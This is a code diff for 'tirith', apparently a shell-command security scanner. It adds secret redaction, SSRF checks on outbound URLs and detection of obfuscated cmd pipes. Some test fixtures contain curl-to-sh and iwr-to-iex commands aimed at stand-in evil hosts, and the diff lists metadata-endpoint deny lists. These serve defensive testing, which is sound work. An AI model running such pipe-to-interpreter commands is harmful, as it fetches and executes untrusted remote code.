@@ -378,7 +378,7 @@ fn call_scan_directory(args: &Value) -> ToolCallResult {
         recursive,
         fail_on: crate::verdict::Severity::Critical,
         ignore_patterns: vec![],
-        max_files: None,
+        max_files: Some(crate::mcp::resources::MCP_SCAN_MAX_FILES),
     };
 
     let policy = crate::policy::Policy::discover(None);
diff --git a/crates/tirith-core/src/output.rs b/crates/tirith-core/src/output.rs
index 34945ab..b0ba3b1 100644
--- a/crates/tirith-core/src/output.rs
+++ b/crates/tirith-core/src/output.rs
@@ -21,11 +21,16 @@ pub struct JsonOutput<'a> {
 }
 
 /// Write verdict as JSON to the given writer.
-pub fn write_json(verdict: &Verdict, mut w: impl Write) -> std::io::Result<()> {
+pub fn write_json(
+    verdict: &Verdict,
+    custom_patterns: &[String],
+    mut w: impl Write,
+) -> std::io::Result<()> {
+    let redacted_findings = crate::redact::redacted_findings(&verdict.findings, custom_patterns);
     let output = JsonOutput {
         schema_version: SCHEMA_VERSION,
         action: verdict.action,
-        findings: &verdict.findings,
+        findings: &redacted_findings,
         tier_reached: verdict.tier_reached,
         bypass_requested: verdict.bypass_requested,
         bypass_honored: verdict.bypass_honored,
diff --git a/crates/tirith-core/src/redact.rs b/crates/tirith-core/src/redact.rs
index cc53af9..a50e02f 100644
--- a/crates/tirith-core/src/redact.rs
+++ b/crates/tirith-core/src/redact.rs
@@ -94,6 +94,64 @@ pub fn redact_with_compiled(input: &str, compiled: &CompiledCustomPatterns) -> S
     result
 }
 
+/// Redact shell-style assignment values such as `KEY=value` before user content
+/// is serialized into logs or JSON output.
+pub fn redact_shell_assignments(input: &str) -> String {
+    let chars: Vec<char> = input.chars().collect();
+    let mut out = String::with_capacity(input.len());
+    let mut i = 0;
+
+    while i < chars.len() {
+        if let Some((prefix, next)) = redact_powershell_env_assignment(&chars, i) {
+            out.push_str(&prefix);
+            out.push_str("[REDACTED]");
+            i = next;
+            continue;
+        }
+
+        if is_assignment_start(&chars, i) {
+            let name_start = i;
+            i += 1;
+            while i < chars.len() && (chars[i].is_ascii_alphanumeric() || chars[i] == '_') {
+                i += 1;
+            }
+            if i < chars.len() && chars[i] == '=' {
+                let name: String = chars[name_start..i].iter().collect();
+                out.push_str(&name);
+                out.push_str("=[REDACTED]");
+                i += 1;
+                i = skip_assignment_value(&chars, i);
+                continue;
+            }
+            out.push(chars[name_start]);
+            i = name_start + 1;
+            continue;
+        }
+
+        out.push(chars[i]);
+        i += 1;
+    }
+
+    out
+}
+
+/// Redact a command-like string for public output by scrubbing assignment values
+/// first, then applying built-in and custom DLP patterns.
+pub fn redact_command_text(input: &str, custom_patterns: &[String]) -> String {
+    let scrubbed = redact_shell_assignments(input);
+    redact_with_custom(&scrubbed, custom_patterns)
+}
+
+/// Return a redacted clone of the provided findings for public-facing output.
+pub fn redacted_findings(
+    findings: &[crate::verdict::Finding],
+    custom_patterns: &[String],
+) -> Vec<crate::verdict::Finding> {
+    let mut redacted = findings.to_vec();
+    redact_findings(&mut redacted, custom_patterns);
+    redacted
+}
+
 /// Redact sensitive content from a Finding's string fields in-place.
 pub fn redact_finding(finding: &mut crate::verdict::Finding, custom_patterns: &[String]) {
     finding.title = redact_with_custom(&finding.title, custom_patterns);
@@ -116,13 +174,13 @@ fn redact_evidence(ev: &mut crate::verdict::Evidence, custom_patterns: &[String]
             *raw = redact_with_custom(raw, custom_patterns);
         }
         Evidence::CommandPattern { matched, .. } => {
-            *matched = redact_with_custom(matched, custom_patterns);
+            *matched = redact_command_text(matched, custom_patterns);
         }
         Evidence::EnvVar { value_preview, .. } => {
             *value_preview = redact_with_custom(value_preview, custom_patterns);
         }
         Evidence::Text { detail } => {
-            *detail = redact_with_custom(detail, custom_patterns);
+            *detail = redact_command_text(detail, custom_patterns);
         }
         Evidence::ByteSequence { description, .. } => {
             *description = redact_with_custom(description, custom_patterns);
@@ -146,6 +204,102 @@ pub fn redact_findings(findings: &mut [crate::verdict::Finding], custom_patterns
     }
 }
 
+fn is_assignment_boundary(prev: char) -> bool {
+    prev.is_ascii_whitespace() || matches!(prev, ';' | '|' | '&' | '(' | '\n')
+}
+
+fn is_assignment_start(chars: &[char], idx: usize) -> bool {
+    let ch = chars[idx];
+    if !(ch.is_ascii_alphabetic() || ch == '_') {
+        return false;
+    }
+    if idx > 0 && !is_assignment_boundary(chars[idx - 1]) {
+        return false;
+    }
+    true
+}
+
+fn skip_assignment_value(chars: &[char], mut idx: usize) -> usize {
+    let mut in_single = false;
+    let mut in_double = false;
+    let mut escaped = false;
+
+    while idx < chars.len() {
+        let ch = chars[idx];
+        if escaped {
+            escaped = false;
+            idx += 1;
+            continue;
+        }
+        if !in_single && ch == '\\' {
+            escaped = true;
+            idx += 1;
+            continue;
+        }
+        if !in_double && ch == '\'' {
+            in_single = !in_single;
+            idx += 1;
+            continue;
+        }
+        if !in_single && ch == '"' {
+            in_double = !in_double;
+            idx += 1;
+            continue;
+        }
+        if !in_single
+            && !in_double
+            && (ch.is_ascii_whitespace() || matches!(ch, ';' | '|' | '&' | '\n'))
+        {
+            break;
+        }
+        idx += 1;
+    }
+
+    idx
+}
+
+fn redact_powershell_env_assignment(chars: &[char], idx: usize) -> Option<(String, usize)> {
+    if idx > 0 && !is_assignment_boundary(chars[idx - 1]) {
+        return None;
+    }
+    if chars.get(idx) != Some(&'$') {
+        return None;
+    }
+    let prefix = ['e', 'n', 'v', ':'];
+    for (offset, expected) in prefix.iter().enumerate() {
+        let ch = chars.get(idx + 1 + offset)?;
+        if !ch.eq_ignore_ascii_case(expected) {
+            return None;
+        }
+    }
+
+    let name_start = idx + 5;
+    let first = *chars.get(name_start)?;
+    if !(first.is_ascii_alphabetic() || first == '_') {
+        return None;
+    }
+
+    let mut i = name_start + 1;
+    while i < chars.len() && (chars[i].is_ascii_alphanumeric() || chars[i] == '_') {
+        i += 1;
+    }
+    let mut value_start = i;
+    while value_start < chars.len() && chars[value_start].is_ascii_whitespace() {
+        value_start += 1;
+    }
+    if chars.get(value_start) != Some(&'=') {
+        return None;
+    }
+    value_start += 1;
+    while value_start < chars.len() && chars[value_start].is_ascii_whitespace() {
+        value_start += 1;
+    }
+
+    let prefix_text: String = chars[idx..value_start].iter().collect();
+    let value_end = skip_assignment_value(chars, value_start);
+    Some((prefix_text, value_end))
+}
+
 #[cfg(test)]
 mod tests {
     use super::*;
@@ -255,7 +409,8 @@ mod tests {
         }
         match &finding.evidence[2] {
             Evidence::CommandPattern { matched, .. } => {
-                assert!(matched.contains("[REDACTED:OpenAI API Key]"));
+                assert!(matched.contains("OPENAI_API_KEY=[REDACTED]"));
+                assert!(!matched.contains("sk-abcdef"));
             }
             _ => panic!("expected CommandPattern"),
         }
@@ -272,4 +427,21 @@ mod tests {
             .unwrap()
             .contains("[REDACTED:AWS Access Key]"));
     }
+
+    #[test]
+    fn test_redact_shell_assignments_scrubs_short_secret_assignments() {
+        let redacted =
+            redact_shell_assignments("OPENAI_API_KEY=sk-secret curl https://evil.test | sh");
+        assert!(redacted.contains("OPENAI_API_KEY=[REDACTED]"));
+        assert!(!redacted.contains("sk-secret"));
+    }
+
+    #[test]
+    fn test_redact_shell_assignments_scrubs_powershell_env_assignments() {
+        let redacted = redact_shell_assignments(
+            "$env:OPENAI_API_KEY = 'sk-secret'; iwr https://evil.test | iex",
+        );
+        assert!(redacted.contains("$env:OPENAI_API_KEY = [REDACTED]"));
+        assert!(!redacted.contains("sk-secret"));
+    }
 }
diff --git a/crates/tirith-core/src/rules/cloaking.rs b/crates/tirith-core/src/rules/cloaking.rs
index 1691107..dd134d2 100644
--- a/crates/tirith-core/src/rules/cloaking.rs
+++ b/crates/tirith-core/src/rules/cloaking.rs
@@ -83,9 +83,20 @@ impl CloakingResult {
 /// Check a URL for server-side cloaking.
 #[cfg(unix)]
 pub fn check(url: &str) -> Result<CloakingResult, String> {
+    let validated_url = crate::url_validate::validate_fetch_url(url)?;
     let client = reqwest::blocking::Client::builder()
         .timeout(std::time::Duration::from_secs(30))
-        .redirect(reqwest::redirect::Policy::limited(10))
+        .redirect(reqwest::redirect::Policy::custom(|attempt| {
+            if attempt.previous().len() > 10 {
+                attempt.error("too many redirects")
+            } else if let Err(reason) =
+                crate::url_validate::validate_fetch_url(attempt.url().as_str())
+            {
+                attempt.error(reason)
+            } else {
+                attempt.follow()
+            }
+        }))
         .build()
         .map_err(|e| format!("HTTP client error: {e}"))?;
 
@@ -95,7 +106,7 @@ pub fn check(url: &str) -> Result<CloakingResult, String> {
     let mut responses: Vec<(String, u16, String)> = Vec::new();
 
     for (name, ua) in USER_AGENTS {
-        match fetch_with_ua(&client, url, ua, MAX_BODY) {
+        match fetch_with_ua(&client, validated_url.as_str(), ua, MAX_BODY) {
             Ok((status, body)) => {
                 responses.push((name.to_string(), status, body));
             }
@@ -438,4 +449,12 @@ mod tests {
             "significant content difference should exceed threshold, got {diff}"
         );
     }
+
+    #[test]
+    fn test_cloaking_rejects_localhost_target_before_fetch() {
+        match check("http://localhost/") {
+            Ok(_) => panic!("expected localhost target to be rejected"),
+            Err(err) => assert!(err.contains("localhost")),
+        }
+    }
 }
diff --git a/crates/tirith-core/src/rules/command.rs b/crates/tirith-core/src/rules/command.rs
index 4afd0d4..c14b2e9 100644
--- a/crates/tirith-core/src/rules/command.rs
+++ b/crates/tirith-core/src/rules/command.rs
@@ -1,4 +1,5 @@
 use crate::extract::ScanContext;
+use crate::redact;
 use crate::tokenize::{self, ShellType};
 use crate::verdict::{Evidence, Finding, RuleId, Severity};
 
@@ -140,6 +141,10 @@ fn normalize_shell_token(input: &str, shell: ShellType) -> String {
                 if chars[i] == '"' {
                     state = QState::Normal;
                     i += 1;
+                } else if is_cmd && chars[i] == '^' && i + 1 < len {
+                    // Cmd caret escaping is still active inside double quotes.
+                    out.push(chars[i + 1]);
+                    i += 2;
                 } else if !is_ps && chars[i] == '\\' && i + 1 < len {
                     // POSIX: only \", \\, \$, \` are special inside double quotes
                     let next = chars[i + 1];
@@ -745,9 +750,20 @@ fn check_pipe_to_interpreter(
                     let source = &segments[i - 1];
                     let source_cmd_ref = source.command.as_deref().unwrap_or("unknown");
                     let source_base = normalize_cmd_base(source_cmd_ref, shell);
+                    let source_is_tirith_run = source_base == "tirith"
+                        && source
+                            .args
+                            .first()
+                            .map(|arg| normalize_cmd_base(arg, shell) == "run")
+                            .unwrap_or(false);
+                    let source_label = if source_is_tirith_run {
+                        "tirith run".to_string()
+                    } else {
+                        source_base.clone()
+                    };
 
                     // Skip if the source is tirith itself — its output is trusted.
-                    if source_base == "tirith" {
+                    if source_base == "tirith" && !source_is_tirith_run {
                         continue;
                     }
 
@@ -762,7 +778,7 @@ fn check_pipe_to_interpreter(
                     let display_cmd = seg.command.as_deref().unwrap_or(&interpreter);
 
                     let base_desc = format!(
-                        "Command pipes output from '{source_base}' directly to \
+                        "Command pipes output from '{source_label}' directly to \
                          interpreter '{interpreter}'. Downloaded content will be \
                          executed without inspection."
                     );
@@ -808,7 +824,10 @@ fn check_pipe_to_interpreter(
                         description,
                         evidence: vec![Evidence::CommandPattern {
                             pattern: "pipe to interpreter".to_string(),
-                            matched: format!("{} | {}", source.raw, seg.raw),
+                            matched: redact::redact_shell_assignments(&format!(
+                                "{} | {}",
+                                source.raw, seg.raw
+                            )),
                         }],
                         human_view: None,
                         agent_view: None,
@@ -838,7 +857,7 @@ fn check_dotfile_overwrite(segments: &[tokenize::Segment], findings: &mut Vec<Fi
                 description: "Command redirects output to a dotfile in the home directory, which could overwrite shell configuration".to_string(),
                 evidence: vec![Evidence::CommandPattern {
                     pattern: "redirect to dotfile".to_string(),
-                    matched: raw.clone(),
+                    matched: redact::redact_shell_assignments(raw),
                 }],
                 human_view: None,
                 agent_view: None,
@@ -877,7 +896,7 @@ fn check_archive_extract(segments: &[tokenize::Segment], findings: &mut Vec<Find
                             ),
                             evidence: vec![Evidence::CommandPattern {
                                 pattern: "archive extract".to_string(),
-                                matched: raw.clone(),
+                                matched: redact::redact_shell_assignments(raw),
                             }],
                             human_view: None,
                             agent_view: None,
@@ -1120,11 +1139,10 @@ fn emit_env_finding(var_name: &str, value: &str, findings: &mut Vec<Finding>) {
 }
 
 fn redact_env_value(val: &str) -> String {
-    let prefix = crate::util::truncate_bytes(val, 20);
-    if prefix.len() == val.len() {
-        val.to_string()
+    if val.is_empty() {
+        String::new()
     } else {
-        format!("{prefix}...")
+        "[REDACTED]".to_string()
     }
 }
 
@@ -2138,6 +2156,11 @@ mod tests {
         assert_eq!(normalize_shell_token("\"bash\"", ShellType::Posix), "bash");
     }
 
+    #[test]
+    fn test_normalize_cmd_caret_inside_double_quotes() {
+        assert_eq!(normalize_shell_token("\"c^md\"", ShellType::Cmd), "cmd");
+    }
+
     #[test]
     fn test_normalize_single_quotes() {
         assert_eq!(normalize_shell_token("'bash'", ShellType::Posix), "bash");
@@ -2559,6 +2582,24 @@ mod tests {
         );
     }
 
+    #[test]
+    fn test_pipe_to_interpreter_cmd_quoted_caret_cmd() {
+        let findings = check_default("curl https://evil.com | \"c^md\" /c dir", ShellType::Cmd);
+        assert!(
+            findings
+                .iter()
+                .any(|f| matches!(f.rule_id, RuleId::CurlPipeShell | RuleId::PipeToInterpreter)),
+            "quoted cmd caret escapes should still detect the interpreter pipe"
+        );
+    }
+
+    #[test]
+    fn test_redact_env_value_never_returns_secret() {
+        assert_eq!(redact_env_value(""), "");
+        assert_eq!(redact_env_value("sk-abc123"), "[REDACTED]");
+        assert_eq!(redact_env_value("ABCDEFGHIJKLMNOPQRSTUVWX"), "[REDACTED]");
+    }
+
     #[test]
     fn test_source_command_arrays_consistent() {
         // is_source_command is composed from the three const arrays.
diff --git a/crates/tirith-core/src/tokenize.rs b/crates/tirith-core/src/tokenize.rs
index cb034c0..c7f2b53 100644
--- a/crates/tirith-core/src/tokenize.rs
+++ b/crates/tirith-core/src/tokenize.rs
@@ -418,6 +418,30 @@ pub fn is_env_assignment(word: &str) -> bool {
     }
 }
 
+/// Return the values from leading `NAME=VALUE` tokens in a raw segment.
+/// Stops at the first non-assignment word, matching the shell prefix-assignment model.
+pub fn leading_env_assignments(segment_raw: &str) -> Vec<(String, String)> {
+    let mut assignments = Vec::new();
+    for word in split_words(segment_raw.trim()) {
+        if !is_env_assignment(&word) {
+            break;
+        }
+        if let Some((name, value)) = word.split_once('=') {
+            assignments.push((name.to_string(), value.to_string()));
+        }
+    }
+    assignments
+}
+
+/// Return the values from leading `NAME=VALUE` tokens in a raw segment.
+/// Stops at the first non-assignment word, matching the shell prefix-assignment model.
+pub fn leading_env_assignment_values(segment_raw: &str) -> Vec<String> {
+    leading_env_assignments(segment_raw)
+        .into_iter()
+        .map(|(_, value)| value)
+        .collect()
+}
+
 /// Split a segment into words, respecting quotes.
 fn split_words(input: &str) -> Vec<String> {
     let mut words = Vec::new();
@@ -618,6 +642,26 @@ mod tests {
         assert!(!is_env_assignment("1FOO=bar"));
     }
 
+    #[test]
+    fn test_leading_env_assignment_values() {
+        assert_eq!(
+            leading_env_assignment_values("URL=https://example.com curl ok"),
+            vec!["https://example.com"]
+        );
+        assert_eq!(
+            leading_env_assignments("URL='https://example.com/a' FOO=bar curl ok"),
+            vec![
+                ("URL".to_string(), "'https://example.com/a'".to_string()),
+                ("FOO".to_string(), "bar".to_string())
+            ]
+        );
+        assert_eq!(
+            leading_env_assignment_values("URL='https://example.com/a' FOO=bar curl ok"),
+            vec!["'https://example.com/a'", "bar"]
+        );
+        assert!(leading_env_assignment_values("env URL=https://example.com curl ok").is_empty());
+    }
+
     #[test]
     fn test_cmd_pipe() {
         let segs = tokenize("dir | findstr foo", ShellType::Cmd);
diff --git a/crates/tirith-core/src/url_validate.rs b/crates/tirith-core/src/url_validate.rs
index e8037ca..025472e 100644
--- a/crates/tirith-core/src/url_validate.rs
+++ b/crates/tirith-core/src/url_validate.rs
@@ -1,60 +1,188 @@
 /// URL validation for outbound HTTP requests (SSRF protection).
-use std::net::IpAddr;
+use std::net::{IpAddr, ToSocketAddrs};
+
+type HostResolver = dyn Fn(&str, u16) -> Result<Vec<IpAddr>, String>;
+
+#[derive(Clone, Copy)]
+enum UrlValidationMode {
+    Server,
+    Fetch,
+}
 
 /// Validate that a server URL is safe for outbound requests.
 ///
-/// Requires HTTPS and blocks private/loopback/link-local IP addresses.
-/// Returns Ok(()) if the URL is safe, or Err(reason) if not.
+/// Requires HTTPS unless `TIRITH_ALLOW_HTTP=1` is set, and blocks private,
+/// loopback, link-local, metadata, documentation, and other non-public targets.
 pub fn validate_server_url(url: &str) -> Result<(), String> {
+    validate_outbound_url_with_resolver(url, UrlValidationMode::Server, &resolve_host).map(|_| ())
+}
+
+/// Validate that a fetch/cloaking URL is safe for outbound requests.
+///
+/// Allows `http` and `https`, but blocks embedded credentials and non-public
+/// network destinations after DNS resolution.
+pub fn validate_fetch_url(url: &str) -> Result<url::Url, String> {
+    validate_outbound_url_with_resolver(url, UrlValidationMode::Fetch, &resolve_host)
+}
+
+fn validate_outbound_url_with_resolver(
+    url: &str,
+    mode: UrlValidationMode,
+    resolver: &HostResolver,
+) -> Result<url::Url, String> {
     let parsed = url::Url::parse(url).map_err(|e| format!("invalid URL: {e}"))?;
+    validate_parsed_url_with_resolver(&parsed, mode, resolver)?;
+    Ok(parsed)
+}
+
+fn validate_parsed_url_with_resolver(
+    parsed: &url::Url,
+    mode: UrlValidationMode,
+    resolver: &HostResolver,
+) -> Result<(), String> {
+    validate_scheme(parsed, mode)?;
+
+    if !parsed.username().is_empty() || parsed.password().is_some() {
+        return Err("refusing to connect to URLs with embedded credentials".to_string());
+    }
+
+    let host = parsed
+        .host()
+        .ok_or_else(|| "URL is missing a host".to_string())?;
+    let host_label = parsed
+        .host_str()
+        .ok_or_else(|| "URL is missing a host".to_string())?
+        .trim_end_matches('.')
+        .to_ascii_lowercase();
+
+    if host_label == "localhost" || host_label.ends_with(".localhost") {
+        return Err(format!(
+            "refusing to connect to localhost destination: {host_label}"
+        ));
+    }
+
+    if is_cloud_metadata_host(&host_label) {
+        return Err(format!(
+            "refusing to connect to cloud metadata endpoint: {host_label}"
+        ));
+    }
+
+    let port = parsed
+        .port_or_known_default()
+        .ok_or_else(|| format!("unsupported URL scheme: {}", parsed.scheme()))?;
 
-    // Require HTTPS unless explicitly opted out
-    if parsed.scheme() != "https" {
-        if std::env::var("TIRITH_ALLOW_HTTP").ok().as_deref() == Some("1") {
-            eprintln!(
-                "tirith: warning: connecting to server over plain HTTP (TIRITH_ALLOW_HTTP=1)"
-            );
-        } else {
-            return Err(format!(
-                "server URL must use HTTPS (got {}://). Set TIRITH_ALLOW_HTTP=1 to override.",
-                parsed.scheme()
-            ));
+    match host {
+        url::Host::Ipv4(ip) => validate_resolved_ip(&host_label, &IpAddr::V4(ip))?,
+        url::Host::Ipv6(ip) => validate_resolved_ip(&host_label, &IpAddr::V6(ip))?,
+        url::Host::Domain(domain) => {
+            let resolved = resolver(domain, port)?;
+            if resolved.is_empty() {
+                return Err(format!("failed to resolve host: {host_label}"));
+            }
+            for ip in resolved {
+                validate_resolved_ip(&host_label, &ip)?;
+            }
         }
     }
 
-    // Block private/loopback/link-local addresses
-    if let Some(host) = parsed.host_str() {
-        if let Ok(ip) = host.parse::<IpAddr>() {
-            if is_private_ip(&ip) {
-                return Err(format!("refusing to connect to private address: {host}"));
+    Ok(())
+}
+
+fn validate_scheme(parsed: &url::Url, mode: UrlValidationMode) -> Result<(), String> {
+    match mode {
+        UrlValidationMode::Server => {
+            if parsed.scheme() != "https" {
+                if parsed.scheme() == "http"
+                    && std::env::var("TIRITH_ALLOW_HTTP").ok().as_deref() == Some("1")
+                {
+                    eprintln!(
+                        "tirith: warning: connecting to server over plain HTTP (TIRITH_ALLOW_HTTP=1)"
+                    );
+                } else {
+                    return Err(format!(
+                        "server URL must use HTTPS (got {}://). Set TIRITH_ALLOW_HTTP=1 to override.",
+                        parsed.scheme()
+                    ));
+                }
             }
         }
-        // Block common metadata endpoints by hostname
-        if host == "metadata.google.internal"
-            || host == "metadata.google.com"
-            || host.ends_with(".internal")
-        {
-            return Err(format!(
-                "refusing to connect to cloud metadata endpoint: {host}"
-            ));
+        UrlValidationMode::Fetch => {
+            if parsed.scheme() != "http" && parsed.scheme() != "https" {
+                return Err(format!(
+                    "fetch URL must use http:// or https:// (got {}://)",
+                    parsed.scheme()
+                ));
+            }
         }
     }
 
     Ok(())
 }
 
-fn is_private_ip(ip: &IpAddr) -> bool {
+fn resolve_host(host: &str, port: u16) -> Result<Vec<IpAddr>, String> {
+    let addrs = (host, port)
+        .to_socket_addrs()
+        .map_err(|e| format!("failed to resolve host {host}: {e}"))?;
+
+    let mut ips = Vec::new();
+    for addr in addrs {
+        let ip = addr.ip();
+        if !ips.contains(&ip) {
+            ips.push(ip);
+        }
+    }
+    Ok(ips)
+}
+
+fn validate_resolved_ip(host: &str, ip: &IpAddr) -> Result<(), String> {
+    if is_forbidden_ip(ip) {
+        Err(format!(
+            "refusing to connect to non-public address: {host} -> {ip}"
+        ))
+    } else {
+        Ok(())
+    }
+}
+
+fn is_cloud_metadata_host(host: &str) -> bool {
+    matches!(
+        host,
+        "metadata.google.internal"
+            | "metadata.google.com"
+            | "instance-data"
+            | "instance-data.ec2.internal"
+    )
+}
+
+fn is_forbidden_ip(ip: &IpAddr) -> bool {
     match ip {
         IpAddr::V4(v4) => {
-            v4.is_loopback()
-                || v4.is_private()
+            let o = v4.octets();
+            v4.is_private()
+                || v4.is_loopback()
                 || v4.is_link_local()
                 || v4.is_broadcast()
                 || v4.is_unspecified()
-                // AWS/cloud metadata: 169.254.169.254
-                || (v4.octets()[0] == 169 && v4.octets()[1] == 254)
+                || v4.is_multicast()
+                || o[0] == 0
+                || (o[0] == 100 && (64..=127).contains(&o[1]))
+                || (o[0] == 169 && o[1] == 254)
+                || (o[0] == 192 && o[1] == 0 && o[2] == 2)
+                || (o[0] == 198 && o[1] == 18)
+                || (o[0] == 198 && o[1] == 19)
+                || (o[0] == 198 && o[1] == 51 && o[2] == 100)
+                || (o[0] == 203 && o[1] == 0 && o[2] == 113)
+                || o[0] >= 240
+        }
+        IpAddr::V6(v6) => {
+            let s = v6.segments();
+            v6.is_loopback()
+                || v6.is_unspecified()
+                || v6.is_multicast()
+                || ((s[0] & 0xfe00) == 0xfc00)
+                || ((s[0] & 0xffc0) == 0xfe80)
+                || (s[0] == 0x2001 && s[1] == 0x0db8)
         }
-        IpAddr::V6(v6) => v6.is_loopback() || v6.is_unspecified(),
     }
 }
 
@@ -62,6 +190,10 @@ fn is_private_ip(ip: &IpAddr) -> bool {
 mod tests {
     use super::*;
 
+    fn resolver_with(ip: IpAddr) -> impl Fn(&str, u16) -> Result<Vec<IpAddr>, String> {
+        move |_, _| Ok(vec![ip])
+    }
+
     #[test]
     fn test_rejects_http() {
         let result = validate_server_url("http://example.com/api");
@@ -71,7 +203,11 @@ mod tests {
 
     #[test]
     fn test_accepts_https() {
-        let result = validate_server_url("https://policy.tirith.dev/api");
+        let result = validate_outbound_url_with_resolver(
+            "https://policy.tirith.dev/api",
+            UrlValidationMode::Server,
+            &resolver_with("93.184.216.34".parse().unwrap()),
+        );
         assert!(result.is_ok());
     }
 
@@ -79,7 +215,7 @@ mod tests {
     fn test_rejects_loopback() {
         let result = validate_server_url("https://127.0.0.1/api");
         assert!(result.is_err());
-        assert!(result.unwrap_err().contains("private"));
+        assert!(result.unwrap_err().contains("non-public"));
     }
 
     #[test]
@@ -117,4 +253,90 @@ mod tests {
         let result = validate_server_url("not a url");
         assert!(result.is_err());
     }
+
+    #[test]
+    fn test_rejects_embedded_credentials() {
+        let result = validate_outbound_url_with_resolver(
+            "https://user:pass@example.com/path",
+            UrlValidationMode::Fetch,
+            &resolver_with("93.184.216.34".parse().unwrap()),
+        );
+        assert!(result.is_err());
+        assert!(result.unwrap_err().contains("embedded credentials"));
+    }
+
+    #[test]
+    fn test_rejects_localhost_name() {
+        let result = validate_outbound_url_with_resolver(
+            "https://localhost/path",
+            UrlValidationMode::Fetch,
+            &resolver_with("93.184.216.34".parse().unwrap()),
+        );
+        assert!(result.is_err());
+        assert!(result.unwrap_err().contains("localhost"));
+    }
+
+    #[test]
+    fn test_rejects_localhost_subdomain() {
+        let result = validate_outbound_url_with_resolver(
+            "https://api.localhost/path",
+            UrlValidationMode::Fetch,
+            &resolver_with("93.184.216.34".parse().unwrap()),
+        );
+        assert!(result.is_err());
+        assert!(result.unwrap_err().contains("localhost"));
+    }
+
+    #[test]
+    fn test_rejects_hostname_resolving_to_private_ip() {
+        let result = validate_outbound_url_with_resolver(
+            "https://example.com/path",
+            UrlValidationMode::Server,
+            &resolver_with("127.0.0.1".parse().unwrap()),
+        );
+        assert!(result.is_err());
+        assert!(result.unwrap_err().contains("127.0.0.1"));
+    }
+
+    #[test]
+    fn test_rejects_hostname_resolving_to_documentation_range() {
+        let result = validate_outbound_url_with_resolver(
+            "https://example.com/path",
+            UrlValidationMode::Fetch,
+            &resolver_with("203.0.113.10".parse().unwrap()),
+        );
+        assert!(result.is_err());
+        assert!(result.unwrap_err().contains("203.0.113.10"));
+    }
+
+    #[test]
+    fn test_fetch_allows_http_when_public() {
+        let result = validate_outbound_url_with_resolver(
+            "http://example.com/path",
+            UrlValidationMode::Fetch,
+            &resolver_with("93.184.216.34".parse().unwrap()),
+        );
+        assert!(result.is_ok());
+    }
+
+    #[test]
+    fn test_fetch_rejects_non_http_scheme() {
+        let result = validate_outbound_url_with_resolver(
+            "ftp://example.com/file",
+            UrlValidationMode::Fetch,
+            &resolver_with("93.184.216.34".parse().unwrap()),
+        );
+        assert!(result.is_err());
+        assert!(result.unwrap_err().contains("http:// or https://"));
+    }
+
+    #[test]
+    fn test_accepts_public_ipv6_literal_without_dns_lookup() {
+        let result = validate_outbound_url_with_resolver(
+            "https://[2606:2800:220:1:248:1893:25c8:1946]",
+            UrlValidationMode::Server,
+            &|_, _| Err("resolver should not be called".to_string()),
+        );
+        assert!(result.is_ok());
+    }
 }
diff --git a/crates/tirith/assets/shell/lib/bash-hook.bash b/crates/tirith/assets/shell/lib/bash-hook.bash
index c847d25..6ab2871 100644
--- a/crates/tirith/assets/shell/lib/bash-hook.bash
+++ b/crates/tirith/assets/shell/lib/bash-hook.bash
@@ -40,6 +40,10 @@ _tirith_output() {
   fi
 }
 
+_tirith_escape_preview() {
+  printf '%q' "$1"
+}
+
 # ─── Approval workflow helpers (ADR-7) ───
 
 # Parse approval temp file. On success, sets _tirith_ap_* variables.
@@ -106,12 +110,16 @@ _tirith_persist_safe_mode() {
 # ─── Preexec function (used by both preexec mode and degrade fallback) ───
 
 _tirith_preexec() {
+  [[ "${_TIRITH_BASH_INTERNAL:-0}" == "1" ]] && return
   # Only run once per command (guard against DEBUG firing multiple times)
   [[ "${_tirith_last_cmd:-}" == "$BASH_COMMAND" ]] && return
   _tirith_last_cmd="$BASH_COMMAND"
 
   # Warn-only: command is already committed, we can only print warnings
+  local _tirith_prev_internal="${_TIRITH_BASH_INTERNAL:-0}"
+  _TIRITH_BASH_INTERNAL=1
   command tirith check --shell posix -- "$BASH_COMMAND" || true
+  _TIRITH_BASH_INTERNAL="$_tirith_prev_internal"
 }
 
 # ─── Degrade function ───
@@ -321,25 +329,34 @@ if [[ "$_TIRITH_BASH_MODE" == "enter" ]] && [[ $- == *i* ]]; then
       # Run tirith check with approval workflow (stdout=approval file path, stderr=human output)
       local errfile=$(mktemp)
       local approval_path
+      local _tirith_prev_internal="${_TIRITH_BASH_INTERNAL:-0}"
+      _TIRITH_BASH_INTERNAL=1
       approval_path=$(command tirith check --approval-check --non-interactive --interactive --shell posix -- "$READLINE_LINE" 2>"$errfile")
       local rc=$?
+      _TIRITH_BASH_INTERNAL="$_tirith_prev_internal"
       local output=$(<"$errfile")
       command rm -f "$errfile"
 
       if [[ $rc -eq 0 ]]; then
         :  # Allow: no output
       elif [[ $rc -eq 2 ]]; then
+        local escaped_line
+        escaped_line=$(_tirith_escape_preview "$READLINE_LINE")
         _tirith_output ""
-        _tirith_output "command> $READLINE_LINE"
+        _tirith_output "command> $escaped_line"
         [[ -n "$output" ]] && _tirith_output "$output"
       elif [[ $rc -eq 1 ]]; then
+        local escaped_line
+        escaped_line=$(_tirith_escape_preview "$READLINE_LINE")
         _tirith_output ""
-        _tirith_output "command> $READLINE_LINE"
+        _tirith_output "command> $escaped_line"
         [[ -n "$output" ]] && _tirith_output "$output"
       else
         # Unexpected exit code: degrade to preexec
+        local escaped_line
+        escaped_line=$(_tirith_escape_preview "$READLINE_LINE")
         _tirith_output ""
-        _tirith_output "command> $READLINE_LINE"
+        _tirith_output "command> $escaped_line"
         [[ -n "$output" ]] && _tirith_output "$output"
         [[ -n "$approval_path" ]] && command rm -f "$approval_path"
         _tirith_degrade_to_preexec "tirith returned unexpected exit code $rc"
@@ -437,9 +454,8 @@ if [[ "$_TIRITH_BASH_MODE" == "enter" ]] && [[ $- == *i* ]]; then
         fi
       done
 
-      # Honor TIRITH=0 bypass (#30): skip paste scanning (env var or inline prefix)
-      local _t_trimmed="${pasted#"${pasted%%[![:space:]]*}"}"
-      if [[ "${TIRITH:-}" == "0" ]] || [[ "$_t_trimmed" == TIRITH=0[[:space:]]* ]]; then
+      # Honor explicit TIRITH=0 bypass (#30): skip paste scanning
+      if [[ "${TIRITH:-}" == "0" ]]; then
         READLINE_LINE="${READLINE_LINE:0:$READLINE_POINT}${pasted}${READLINE_LINE:$READLINE_POINT}"
         READLINE_POINT=$((READLINE_POINT + ${#pasted}))
         return
@@ -448,8 +464,11 @@ if [[ "$_TIRITH_BASH_MODE" == "enter" ]] && [[ $- == *i* ]]; then
       if [[ -n "$pasted" ]]; then
